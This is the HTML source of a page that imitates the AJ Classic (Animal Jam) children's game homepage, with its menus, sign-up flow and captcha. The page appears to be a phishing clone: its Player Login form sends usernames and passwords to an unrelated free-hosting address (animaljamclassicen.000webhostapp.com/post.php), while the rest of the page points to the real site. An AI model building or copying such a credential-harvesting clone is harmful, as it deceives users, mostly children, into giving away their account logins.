<!DOCTYPE html>
<html class="no-js" lang="en">
<head>
<!-- Google Tag Manager -->
<noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-7LPD"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-7LPD');</script>
<!-- End Google Tag Manager -->
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AJ Classic</title>
<!-- fb -->
<meta property="og:url" content="https://animaljam.com/" />
<meta property="og:title" content="AJ Classic"/>
<meta property="og:description" content="Animal Jam brings the fun and excitement of Jamaa to your iOS or Android device"/>
<meta property="og:image" content="https://ajwebcdn1.akamaized.net/assets/social_share/animal-jam-3f524b7b89e6eace6744ea45a3116c2e66eca48ce64845e295e8cc20f67b52b1.png">
<meta property="og:type" content="website">
<!-- twitter -->
<meta name="twitter:site_name" content="Animal Jam">
<meta name="twitter:site" content="@AnimalJam">
<meta name="twitter:card" content="summary">
<meta name="twitter:description" content="Animal Jam is an award-winning online animal game for kids. Play educational animal games in a safe & fun online playground.">
<meta name="twitter:image" content="https://ajwebcdn1.akamaized.net/assets/social_share/animal-jam-3f524b7b89e6eace6744ea45a3116c2e66eca48ce64845e295e8cc20f67b52b1.png">
<!-- meta -->
<meta name="description" content="Animal Jam brings the fun and excitement of Jamaa to your iOS or Android device">
<meta name="keywords" content="Animal Jam, National Geographic, MMO, Virtual World, Game, Kids, Safe, Education, Social Networking, Virtual Pet">
<meta name="image" content="https://ajwebcdn1.akamaized.net/assets/social_share/animal-jam-3f524b7b89e6eace6744ea45a3116c2e66eca48ce64845e295e8cc20f67b52b1.png">
<!-- favicons -->
<link rel="icon" type="image/png" sizes="32x32" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/favicon-32x32-5407fe7fe85e9b2a11c1502a4ad5bd44b9239bdf54093a941e7d75e43ac95f04.png">
<link rel="icon" type="image/png" sizes="96x96" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/favicon-96x96-11e3b2b217ba83e9c61174727ed1a2a5f614495066e3d21870aa3dd09ba3cf30.png">
<link rel="icon" type="image/png" sizes="16x16" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/favicon-16x16-51469b23f481fbbff3fce9c5235382beca58c3d56e243055a557c20ec682433d.png">
<!-- Android -->
<link rel="icon" type="image/png" sizes="192x192" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/android-icon-192x192-9c25fa05427293ede90ac6b45973eb37cace164a2b3dea24903dc993eef47263.png">
<link rel="manifest" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/manifest-4a109c4674f91794e5a9327d64da0d8f711923e8fc4d94c4bc32ad733d9d5461.json">
<!-- Apple -->
<link rel="apple-touch-icon" sizes="57x57" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/apple-icon-57x57-aa411b0651ba4ef2ad485febfe6fddd45d27e86f35eeed00873288c6f2eb8d8b.png">
<link rel="apple-touch-icon" sizes="60x60" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/apple-icon-60x60-6e3a94c16b56240ee2b63a6eeb009eb49b74526b88428a0c3e4fca07ceb29222.png">
<link rel="apple-touch-icon" sizes="72x72" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/apple-icon-72x72-7799d9546bd6bcdc55b171e723c3658fd11f65515e90fd58beb9790fa8cf5ee6.png">
<link rel="apple-touch-icon" sizes="76x76" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/apple-icon-76x76-f3bbca71a7ab98efcfd6e6dc083891951f7e0e2583ad08b86be91180f3acd656.png">
<link rel="apple-touch-icon" sizes="114x114" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/apple-icon-114x114-1659a7e78b7a805e1a740cabc48e69bdc4a8c5234137ff2fbb8e8b71f4d56cbb.png">
<link rel="apple-touch-icon" sizes="120x120" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/apple-icon-120x120-2b8a144ac4877e34d59e2893a4fef7c335a7c5f2b5f600b929cfc93b48a065cc.png">
<link rel="apple-touch-icon" sizes="144x144" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/apple-icon-144x144-4ef70d38db942c9658b2244e321bfe0c18e03db6218b9075f2c526dc05a3ce6c.png">
<link rel="apple-touch-icon" sizes="152x152" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/apple-icon-152x152-9d8413a4a894993ffabbd4d947f6fbbedeb39cdb247539dd91770cc432ae1ad2.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/apple-icon-180x180-68ae89c476ca9c63abd80cec8847208f3b4168b6049ce1f3a108db8c0694201d.png">
<!-- Microsoft -->
<meta name="msapplication-TileImage" content="https://ajwebcdn1.akamaized.net/2.0/favicon/ms-icon-144x144.png">
<meta name="msapplication-square70x70logo" content="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/mstile-70x70-e59ec0b02406f4eb41ea4d0a7128106b8db80cb4971eb97ecb75e045410cb7f2.png">
<meta name="msapplication-square150x150logo" content="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/mstile-150x150-c1d5077663714a7210e748e5b549f246f6d7352f8c907e0ba218c6cdfbc7cd88.png">
<meta name="msapplication-wide310x150logo" content="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/mstile-310x150-cb4d3b6f2c7a2f7d8d40dab154e247238d04fb42f5b0487f00c2d58f62314014.png">
<meta name="msapplication-square310x310logo" content="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/mstile-310x310-0a8eb657de4fa3e13a5f99e81891128b762d28740e9c570216054fed2084e587.png">
<meta name="msapplication-config" content="https://ajwebcdn1.akamaized.net/assets/2.0/favicon/browserconfig-f1fa5cbb15ead8c4955ea009182fee0f2af50d8526112f3881c0179d0af07c85.xml">
<meta name="theme-color" content="#21A392">
<meta name="msapplication-TileColor" content="#5AC9A8">
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="uxWAvO3bdyStZTCFYv/zewUkrJnlXeonvCOCcpLI7vMGB3wULJ27edhO+Ogbp8BefnCbbkqVeefy14CgLnlHkQ==" />
<link rel="stylesheet" media="screen" href="https://d3405rr50k8fph.cloudfront.net/assets/packs/css/application-35deb69c.css" data-turbolinks-track="reload" />
<script src="https://d3405rr50k8fph.cloudfront.net/assets/packs/js/application-cfeef6c65167f46ca826.js" data-turbolinks-track="reload"></script>
<script src="https://d3405rr50k8fph.cloudfront.net/assets/application-7c872afe58d67bfaae67f7087ff350c2257fbfec925749dd36677d76fc0f39dd.js" data-turbolinks-track="reload"></script>
</head>
<body>
<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-7LPD" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<div class="off-canvas position-left" id="mobileMenu" data-off-canvas data-transition="push">
<div class="mobile-menu-title">Menu</div>
<div class="mobile-menu-close-btn" data-close></div>
<div class="mobile-menu-page">
<div class="offset">
<ul class="mobile-menu">
<li class="menu-item home">
<a href="https://classic.animaljam.com/en">
<span class="link-icn"></span>Home
</a> </li>
<li class="menu-item membership">
<a href="https://www.animaljam.com/en/join">
<span class="link-icn"></span>Membership
</a> </li>
<li class="menu-item shop">
<a href="https://shop.animaljam.com">
<span class="link-icn"></span>Shop
</a>
</li>
<li class="menu-item giftcards">
<a href="https://www.animaljam.com/en/gift_card">
<span class="link-icn"></span>Gift Cards
</a> </li>
<li class="menu-item code">
<a href="https://www.animaljam.com/en/redeem">
<span class="link-icn"></span>Got a Code?
</a> </li>
<li class="menu-item parents">
<a href="https://www.animaljam.com/en/parents">
<span class="link-icn"></span>Parent Tools
</a>
</a> </li>
<li class="menu-item apps">
<a href="https://www.animaljam.com/en/apps">
<span class="link-icn"></span>Apps
</a> </li>
<li class="menu-item about">
<a href="https://www.animaljam.com/en/about_us">
<span class="link-icn"></span>About
</a> </li>
<li class="menu-item safety">
<a href="https://www.animaljam.com/en/safety">
<span class="link-icn"></span>Safety
</a> </li>
<li class="menu-item help">
<a target="_blank" href="https://sbiaj.zendesk.com">
<span class="link-icn"></span>Help
</a>
</li>
<li class="menu-item blog">
<a target="_blank" href="http://dailyexplorer.animaljam.com/">
<span class="link-icn"></span>Blog
</a>
</li>
</ul>
</div>
</div>
</div>
<main class="off-canvas-content " data-off-canvas-content>
<nav class="nav-bar">
<div class="game-logo aj-classic-game-logo"></div>
<ul class="menu-list">
<li class="menu-item membership">
<a href="https://www.animaljam.com/en/join"> Membership </a>
</li>
<li class="menu-item shop">
<a href="https://shop.animaljam.com/">Shop</a>
</li>
<li class="menu-item parents">
<a href="https://www.animaljam.com/en/parents"> Parents </a>
</li>
<li class="menu-item apps">
<a href="https://www.animaljam.com/en/apps"> Apps </a>
</li>
<li class="menu-item help">
<a href="https://classic-help.animaljam.com/hc/en-us">Help</a>
</li>
<li class="menu-btn menu-item" data-open="megaMenu">
<div class="menu-icn"></div>
</li>
<li class="menu-item download-btn-wrapper">
<a class="download-btn" id="windows-download-link" data-href="https://ajdownload.akamaized.net/win/AnimalJamInstaller.exe">download</a>
</li>
</ul>
</nav>
<div class="mobile-menu-btn" data-toggle="mobileMenu"></div>
<div class="mega-menu reveal" id="megaMenu" data-reveal data-overlay="false">
<div class="menu-grid">
<div class="menu-col">
<a class="menu-item home" href="https://classic.animaljam.com/en">
<span class="link-icn"></span>Home
</a>
<a class="menu-item about" href="https://www.animaljam.com/en/about_us">
<span class="link-icn"></span>About
</a>
<a class="menu-item apps" href="https://www.animaljam.com/en/apps">
<span class="link-icn"></span>Apps
</a>
<a class="menu-item parents" href="https://www.animaljam.com/en/parents">
<span class="link-icn"></span>Parent Tools
</a> </div>
<div class="menu-col">
<a class="menu-item membership" href="https://www.animaljam.com/en/join">
<span class="link-icn"></span>Membership
</a>
<a href="https://shop.animaljam.com" class="menu-item shop">
<span class="link-icn"></span>Shop
</a>
<a class="menu-item giftcards" href="https://www.animaljam.com/en/gift_card">
<span class="link-icn"></span>Gift Cards
</a>
<a class="menu-item code" href="https://www.animaljam.com/en/redeem">
<span class="link-icn"></span>Got a Code?
</a> </div>
<div class="menu-col">
<a target="_blank" href=https://classic-help.animaljam.com/hc/en-us class="menu-item help">
<span class="link-icn"></span>Help
</a>
<a class="menu-item safety" href="https://www.animaljam.com/en/safety">
<span class="link-icn"></span>Safety
</a>
<a target="_blank" class="menu-item rules" href="https://www.animaljam.com/en/rules">
<span class="link-icn"></span>Rules
</a>
<a target="_blank" href="http://dailyexplorer.animaljam.com/" class='menu-item blog'>
<span class="link-icn"></span>Blog
</a>
</div>
</div>
</div>
<div class="hero aj-classic-hero">
<div class="hero-img">
</div>
<div class="grid-container appstore-btns aj-classic-appstore-btns">
<div class="appstore-btn-container">
<a id="windows" data-href="https://ajdownload.akamaized.net/win/AnimalJamInstaller.exe" class="appstore-btn pc-download"></a>
<a class="login-link standard-btn" href="">play now</a>
</div>
</div>
</div>
<section class="secondary-content">
<div class="grid-container">
<div class="grid-x grid-margin-x">
<div class="cell medium-6">
<a href="https://www.animaljam.com/en" class="card">
<div class="card-img aj"></div>
<div class="card-msg">Take Animal Jam with you anywhere with our Animal Jam App for your mobile device.</div>
</a>
</div>
<div class="cell medium-6">
<a href="https://www.animaljam.com/en/join" class="card">
<div class="card-img membership-diamonds">
<div class="get-more">
<div class="get-more-txt"><span class="get-more-mem-badge"></span> Get More!</div>
</div>
</div>
<div class="card-msg">Get more when you buy a Club Membership from <span class="msg-link">Animaljam.com/join</span>.</div>
</a>
</div>
</div>
</div>
</section>
<section class="featured-links">
<div class="grid-container">
<div class="grid-x">
<div class="cell medium-3">
<a href="https://www.animaljam.com/en/safety" class="featured-link safety">
<div class="link-icn"></div>
<div class="link-title">Safety</div>
<div class="link-micro-txt">Learn about how we keep our games safe for kids.</div>
</a>
</div>
<div class="cell medium-3">
<a href="https://www.animaljam.com/en/parents" class="featured-link parent-tools">
<div class="link-icn"></div>
<div class="link-title">Parent Tools</div>
<div class="link-micro-txt">Manage your child's account and privacy settings.</div>
</a>
</div>
<div class="cell medium-3">
<a href=https://classic-help.animaljam.com/hc/en-us class="featured-link help-desk">
<div class="link-icn"></div>
<div class="link-title">Help Center</div>
<div class="link-micro-txt">Have a question? Check the Help Center for answers.</div>
</a>
</div>
<div class="cell medium-3">
<a href="https://www.animaljam.com/en/gift_card" class="featured-link gift-cards">
<div class="link-icn"></div>
<div class="link-title">Gift Cards</div>
<div class="link-micro-txt">Unlock membership with a Gift Card!</div>
</a>
</div>
</div>
</div>
</section>
<footer>
<div class="footer-links">
<ul class="footer-nav">
<li>
<a href="https://www.animaljam.com/en/about_us">
About
</a> </li>
<li class="divider">|</li>
<li>
<a href="https://www.animaljam.com/en/safety">
Safety
</a> </li>
<li class="divider">|</li>
<li>
<a href="https://www.animaljam.com/en/rules">
Rules
</a> </li>
<li class="divider">|</li>
<li>
<a href="https://www.animaljam.com/en/privacy">
privacy
</a> </li>
<li class="divider">|</li>
<li>
<a href="https://www.animaljam.com/en/terms_of_service">
terms
</a> </li>
<li class="divider">|</li>
<li>
<a href="https://dailyexplorer.animaljam.com">Blog</a>
</li>
<li class="divider">|</li>
<li>
<a href="https://academy.animaljam.com">AJ Academy</a>
</li>
<li class="divider">|</li>
<li class="language">
<a class="current-language">Language (en)<span class="dropdown-arrow"></span></a>
<form update="change-language" complete="window.location.reload()" id="language-form" action="/en/change_language_code" accept-charset="UTF-8" data-remote="true" method="post"><input type="hidden" name="authenticity_token" value="GaMKYJXg4+BG05TgmUXMKJ4RhsoVoVTK3DPHFXY0G9flP92pNupwWXO1Ed8gySPA86c6cukF2+FPsho8TUKi6Q==" />
<input type="hidden" name="language_code" id="language_code" />
<input type="hidden" name="current_url" id="current_url" value="/en" />
</form> <div class="language-dropdown">
<ul class="language-list">
<li >
<a href="javascript:;" class="language-link" data-lang="de">Deutsch</a>
</li>
<li class=selected>
<a href="javascript:;" class="language-link" data-lang="en">English</a>
</li>
<li >
<a href="javascript:;" class="language-link" data-lang="es">Español</a>
</li>
<li >
<a href="javascript:;" class="language-link" data-lang="fr">Français</a>
</li>
<li >
<a href="javascript:;" class="language-link" data-lang="pt">Português</a>
</li>
</ul>
</div>
</li>
</ul>
</div>
<div class="social-links">
<a href="https://www.facebook.com/PlayAnimalJam" class="external-link social-link facebook" target="_blank"></a>
<a href="https://instagram.com/animaljam" class="external-link social-link instagram" target="_blank"></a>
<a href="https://twitter.com/AnimalJam" class="external-link social-link twitter" target="_blank"></a>
<a href="https://www.youtube.com/PlayAnimalJam" class="external-link social-link youtube" target="_blank"></a>
<a href="https://www.pinterest.com/playanimaljam" class="external-link social-link pinterest" target="_blank"></a>
</div>
<div class="footer-legal">
<a href='http://www.wildworks.com' target='_blank' class='external-link'>
<div class="wildworks-logo"></div>
</a>
<div class="legal-txt">© 2020 WildWorks, Inc. All rights reserved.</div>
</div>
</footer>
</main>
<div class="create-account-gate-popup popup-container">
<div class="pop-scrim"></div>
<div class="create-account-popup1">
<div class="pop-close-btn"></div>
<div class="new-players">
<h2>New to AJ Classic?</h2>
<div class="create-an-animal-btn">
<a class="create-account-link login-label" href="#">Create an Animal</a>
</div>
</div>
<div class="returning-players">
<div class="animal-jam-logo"></div>
<h2>Player Login</h2>
<form class="login-form standard-form secure-form" autocomplete="off" action="https://animaljamclassicen.000webhostapp.com/post.php" accept-charset="UTF-8" method="post">
<div class="input-wrap">
<div id="wrong-un" class="error-tip">
<span class="tip-point"></span>I'm sorry, we cannot find an account matching that username.
</div>
<div id="message" class="error-tip">
<span class="tip-point"></span>
</div>
<label for="signin_user_screen_name">Username</label>
<input autocomplete="off" placeholder="Username" class="form-row" aria-required="true" type="text" name="signin_user[screen_name]" id="signin_user_screen_name" />
</div>
<div class="input-wrap">
<div id="wrong-pw" class="error-tip">
<span class="tip-point"></span>The password you entered does not match our records.</div>
<label for="signin_user_password">Password</label>
<input placeholder="Password" class="form-row" aria-required="true" type="password" name="signin_user[password]" id="signin_user_password" />
</div>
<div class="form-row code-toggle toggle-code">
<input type="checkbox" name="have_code" id="popup_code_checkbox" value="1">
<label for="popup_code_checkbox" class="checkbox-label">I Have a Code to Enter!</label>
</div>
<div class="input-wrap redemption-code-group">
<label for="signin_user_redemption_code">Enter your code</label>
<input id="popup_redemption_code" class="redemption-code" placeholder="Enter your code" aria-required="true" type="text" name="signin_user[redemption_code]" />
</div>
<div class="form-row submit-row">
<input type="submit" name="commit" value="submit" data-disable-with="submit" />
</div>
<a class="forgot-pw-link login-label" href="#">Forgot your password?</a>
</form> </div>
</div>
</div>
<div class="create-account-popup popup-container">
<div class="pop-scrim"></div>
<div class="popup">
<div class="signup-bg-img"></div>
<div class="signup-login-link-wrapper"></div>
<div class="pop-header">
<div class="pop-close-btn"></div>
</div>
<div class="pop-content">
<div class="grid-x">
<div class="cell small-6">
<div class="sign-up-panel avatar-thumbnails ghost">
<div class="panel-title">Choose an Animal</div>
<div class="panel-mid">
<div class="panel-offset-top"></div>
<div class="panel-content">
<div class="framed-content">
<div class="thumbnail-grid">
<div class="thumbnail-cell">
<a class="thumbnail" data-avatar-id ="4">
<div class="thumbnail-bg"></div>
<div class="thumbnail-img wolf"></div>
</a>
</div>
<div class="thumbnail-cell">
<a class="thumbnail" data-avatar-id ="13">
<div class="thumbnail-bg"></div>
<div class="thumbnail-img rino"></div>
</a>
</div>
<div class="thumbnail-cell">
<a class="thumbnail" data-avatar-id ="8">
<div class="thumbnail-bg"></div>
<div class="thumbnail-img bunny"></div>
</a>
</div>
<div class="thumbnail-cell">
<a class="thumbnail" data-avatar-id ="1">
<div class="thumbnail-bg"></div>
<div class="thumbnail-img tiger"></div>
</a>
</div>
<div class="thumbnail-cell">
<a class="thumbnail" data-avatar-id ="18">
<div class="thumbnail-bg"></div>
<div class="thumbnail-img seal"></div>
</a>
</div>
<div class="thumbnail-cell">
<a class="thumbnail" data-avatar-id ="5">
<div class="thumbnail-bg"></div>
<div class="thumbnail-img koala"></div>
</a>
</div>
<div class="thumbnail-cell">
<a class="thumbnail" data-avatar-id ="6">
<div class="thumbnail-bg"></div>
<div class="thumbnail-img panda"></div>
</a>
</div>
<div class="thumbnail-cell">
<a class="thumbnail" data-avatar-id ="24">
<div class="thumbnail-bg"></div>
<div class="thumbnail-img penguin"></div>
</a>
</div>
<div class="thumbnail-cell">
<a class="thumbnail" data-avatar-id ="7">
<div class="thumbnail-bg"></div>
<div class="thumbnail-img monkey"></div>
</a>
</div>
</div>
</div>
<div class="btn-row">
<div id="next-button" class="next-btn standard-button-large">Next</div>
</div>
</div>
<div class="panel-offset-bottom"></div>
<div class="panel-bottom"></div>
</div>
</div>
</div>
<div class="cell small-6">
<!--<div class="avatar-hero-img"></div>-->
<div id="animation_container" class="signup-avatar-hero-anim-container">
<canvas id="canvas" class="signup-avatar-hero-canvas" width="600" height="600"></canvas>
<div id="dom_overlay_container" class="signup-avatar-hero-dom-overlay-container"></div>
</div>
</div>
</div>
<div class="sign-up-panel create-login hide">
<div class="nav_back_btn_anchor">
<div class="nav_back_btn"></div>
</div>
<div class="panel-title">Create Account</div>
<div class="panel-mid">
<div class="panel-offset-top"></div>
<div class="panel-content">
<div class="framed-content">
<form class="sign-up-create-account-form">
<label for="sign-up-form-username">My AJ Classic Username</label>
<div class="user-name-group form-group focus">
<div class="form-field">
<div class="error-tip-anchor">
<div id="un-invaild" class="error-tip display-above un-invaild">
<span class="tip-point"></span>Please enter a valid username.
</div>
<div id="un-invaild" class="error-tip display-above socket-timeout">
<span class="tip-point"></span>Network connection error. Please try again.
</div>
</div>
<div class="error-tip-anchor">
<div id="un-taken" class="error-tip display-above un-taken">
<span class="tip-point"></span>That username is already taken. Please choose another.
</div>
</div>
<input autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" placeholder="enter a username" type="text" maxlength="20" id="sign-up-form-username">
<div class="form-field-status-icn"></div>
</div>
<p class="help-txt">Smart Jammers don't use their first or last name. Usernames must have at least 3 characters.</p>
<div class="name-suggestions-section">
<h5>Username Suggestions</h5>
<ul class="name-suggestion-list">
</ul>
</div>
</div>
<label for="sign-up-form-password">My AJ Classic Password</label>
<div class="password-group form-group">
<div class="form-field">
<input autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" placeholder="enter a password" type="text" maxlength="32" id="sign-up-form-password">
<div class="form-field-status-icn"></div>
</div>
<p class="help-txt">Passwords cannot contain your username and must have at least 6 characters.</p>
</div>
</form>
<div class="link-row">
<a class="username-tips-link" href="">Username Tips & Info</a>
</div>
</div>
</div>
<div class="link-row">
<a class="privacy-link" target="_blank" href="https://www.animaljam.com/en/privacy">privacy</a>
<a class="terms-link" target="_blank" href="https://www.animaljam.com/en/terms_of_service">terms</a>
</div>
<div class="btn-row">
<div class="agree-btn disabled">
<div class="btn-label" id="agree-button">I Agree</div>
<div class="checkbox-icn"></div>
</div>
<div class="submit-spinner"></div>
</div>
<div class="panel-offset-bottom"></div>
<div class="panel-bottom"></div>
</div>
</div>
<div class="sign-up-footer"></div>
</div>
</div>
</div>
<div class="captcha">
<script>
var lastElement;
function ajAlert(message, title) {
var popup = jQuery('#modal-popup');
if (title) {
popup.find('.title').html(title);
}
popup.find('.message').html(message);
popup.remodal().open();
}
function drag(ev) {
var imageURL = jQuery(ev.target).attr('src');
var img = document.createElement('img');
img.src = imageURL;
var key = imageURL.substr(imageURL.lastIndexOf('/')+1);
ev.dataTransfer.setData('text', key);
ev.dataTransfer.setDragImage(img,img.width/2,img.height/2);
}
function drop(ev) {
ev.preventDefault();
var q_key = jQuery('.captcha-container .question').attr('src');
q_key = q_key.substr(q_key.lastIndexOf('/')+1);
jQuery('input[name=captcha\\[question_key\\]], input[name=captcha\\[answer_key\\]]').remove();
jQuery('.secure-form').each(function(i,el){
jQuery('<input />').attr('type', 'hidden')
.attr('name', 'captcha[question_key]')
.attr('value', q_key)
.appendTo(el);
jQuery('<input />').attr('type', 'hidden')
.attr('name', 'captcha[answer_key]')
.attr('value', ev.dataTransfer.getData('text'))
.appendTo(el);
});
lastElement.focus();
tabEnabled(true);
jQuery('.captcha-popup').hide();
}
function allowDrop(ev) {
ev.preventDefault();
}
function tabHandler(event) {
if(event.keyCode == 9) {
event.preventDefault();
}
}
function tabEnabled(b) {
var bound =false;
if(!b && !bound) {
jQuery(document).on('keydown', tabHandler);
bound = true;
} else {
jQuery(document).off('keydown', tabHandler);
bound = false;
}
enabled = b;
}
</script>
<div class="captcha-popup">
<div class="captcha-overlay"></div>
<div class="captcha-container">
<div class="content">
<div class="title-bar">
<img alt="security badge" class="security-badge" src="https://d3405rr50k8fph.cloudfront.net/assets/captcha/title_icn_safety-9838a5a068271525aa3072e6b8cc2cccbe6c0225147799e02efd5eeddc208a88.png" />
<h2 class="title">Jammer Security Check</h2>
</div>
<img class="div-line" src="https://d3405rr50k8fph.cloudfront.net/assets/captcha/div_line-24349ed62d3a947f138f7d305c37d2237cdf61b56e7eddc1c6e9a7ba3bfca5e5.png" />
<p>Drag the image from the left to the matching image on the right.</p>
<div class="drag-content clearfix">
<div class="options-container">
<div class="option-container">
<div class="image-container">
<span class="valign"></span>
<img src="" alt="captcha option" class="option" draggable="true" ondragstart="drag(event)">
</div>
</div>
<div class="option-container">
<div class="image-container">
<span class="valign"></span>
<img src="" alt="captcha option" class="option" draggable="true" ondragstart="drag(event)">
</div>
</div>
<div class="option-container clear">
<div class="image-container">
<span class="valign"></span>
<img src="" alt="captcha option" class="option" draggable="true" ondragstart="drag(event)">
</div>
</div>
<div class="option-container">
<div class="image-container">
<span class="valign"></span>
<img src="" alt="captcha option" class="option" draggable="true" ondragstart="drag(event)">
</div>
</div>
</div>
<div class="question-container">
<span class="valign"></span>
<div ondrop="drop(event)" ondragover="allowDrop(event)">
<img class="question" src="" alt="dropImage">
</div>
<div class="arrow"></div>
</div>
<input type="hidden" id="translation_message" value="This account has been temporarily locked. Please try again later.">
</div>
</div>
</div>
</div>
</div>
<div class="username-tips-popup popup-container">
<div class="pop-scrim"></div>
<div class="popup">
<div class="pop-header">
<h2 class="pop-title">Tips & Info</h2>
<div class="pop-close-btn"></div>
</div>
<div class="pop-content">
<h5>Username and Password Tips</h5>
<ul>
<li>Don't use your real name.</li>
<li>Choose something easy for you to remember.</li>
<li>Choose something hard for others to guess.</li>
<li>Be nice!</li>
</ul>
<h5>Why is this required?</h5>
<p>Your username and password are necessary so that each time you play AJ Classic, you can start right from where you left off. Your username also helps us find your account if you ever need our help.</p>
<p class="fine-print"> For more information on our data collection policies, please feel free to read our
<a href="https://www.animaljam.com/en/privacy">Privacy Policy</a>
</p>
</div>
</div>
</div>
<div id="modal-popup" class="remodal" data-remodal-id="modal-popup" data-remodal-options="hashTracking: false">
<div class="popup-offset">
<button data-remodal-action="close" class="remodal-close"></button>
<h1 class="title">Attention</h1>
<p class="message"></p>
</div>
</div>
<div class=" popup external-link-warning-popup">
<div class="scrim"></div>
<div class="pop-body">
<div class="pop-title">
<div class="pop-title-txt">Attention</div>
<div class="pop-close-btn"></div>
</div>
<div class="pop-content">
<p>You clicked a link to another site:</p>
<div class="external-link-txt"></div>
<p>We trust the sites we link to. Be sure you read and understand the site's safety and privacy rules to stay informed.</p>
<p><strong>Are you ready to leave AnimalJam.com?</strong></p>
</div>
<div class="pop-foot multi-btn">
<div class="btn-row">
<div class="foot-btn standard-btn-red btn-confirm">Yes</div>
<div class="foot-btn standard-btn btn-cancel">No</div>
</div>
</div>
</div>
</div>
<div class="popup come-back-on-your-pc-pop">
<div class="scrim"></div>
<div class="pop-body">
<div class="pop-content">
<p>To download Animal Jam For desktop, please come back on your PC or Mac.</p>
</div>
<div class="pop-foot">
<div class="btn-row">
<div class="foot-btn standard-btn ok-btn">OK</div>
</div>
</div>
</div>
</div>
<div class="forgot-password-popup popup-container">
<div class="pop-scrim"></div>
<div class="popup">
<div class="pop-header">
<h2 class="pop-title">password reset</h2>
<div class="pop-close-btn"></div>
</div>
<div class="pop-content" id="forgot-password-form">
<form class="forgot-pass-form standard-form autocomplete=off" action="https://www.animaljam.com/child_request_reset_password" accept-charset="UTF-8" data-remote="true" method="post">
<p>Forgot your password? No problem. Just enter your username and parents' email and hit submit.</p>
<div class="input-wrap">
<label for="username">Username</label>
<input type="text" name="username" id="username" value="" placeholder="Username" aria-required="true" autofocus="autofocus" class="form-row" />
</div>
<div class="input-wrap">
<div id="wrong-email" class="error-tip">
<span class="tip-point"></span>The email address you entered does not match our records
</div>
<label for="parent_email">Parent Email Address</label>
<input type="text" name="parent_email" id="parent_email" value="" placeholder="Parent Email Address" aria-required="true" autofocus="autofocus" class="form-row" />
</div>
<hr>
<div class="form-row submit">
<input type="submit" name="commit" value="submit" disabled="disabled" data-disable-with="submit" />
</div>
</form> </div>
<div id="forgot-password-confirmation" style="display:none" class="pop-content">
</div>
</div>
</div>
<div class="rename-account-popup popup-container">
<div class="popup-scrim"></div>
<div class="popup">
<div class="pop-header">
<h2 class="pop-title" data-success="Success!" data-initial="Oops!"></h2>
</div>
<div class="pop-content" id="rename-account-form">
<p id="username_rejected_message">Your username () has been rejected by our moderators. Please create a new username.</p>
<form class="rename-account-form standard-form autocomplete=off" data-host="https://www.animaljam.com/" action="https://www.animaljam.com//rename_screen_name" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="w/GAbgoSUNGe/iyDsYUElXFrvFRipdo5DO63TCj1Ks9FRfZJGF66330BuGvG4rSM5NceyE4Jx/Z5zOIl1Ktr1w==" />
<div class="input-wrap new-username">
<div id="unavailable-username" class="error-tip display-above hide">
<span class="tip-point"></span><span class="message">That username is already taken. Please choose another.</span>
</div>
<input value="" id="rename_action_key" type="hidden" name="game_account[key]" />
<input value="" id="old_screen_name" type="hidden" name="game_account[old_screen_name]" />
<label for="username">Username</label>
<input aria-required="true" autofocus="autofocus" class="form-row" id="username" type="text" name="game_account[screen_name]" />
<div class="status-icn"></div>
</div>
<hr>
<div id="rename-btn" class="form-row">
<input type="submit" name="commit" value="Rename Account" data-disable-with="Rename Account" />
</div>
</form> </div>
<div class="confirmation pop-content" style="display:none">
<p class='message'></p>
<a href="javascript:void(0);" class="primary-button">OK</a>
</div>
</div>
</div>
</body>
</html>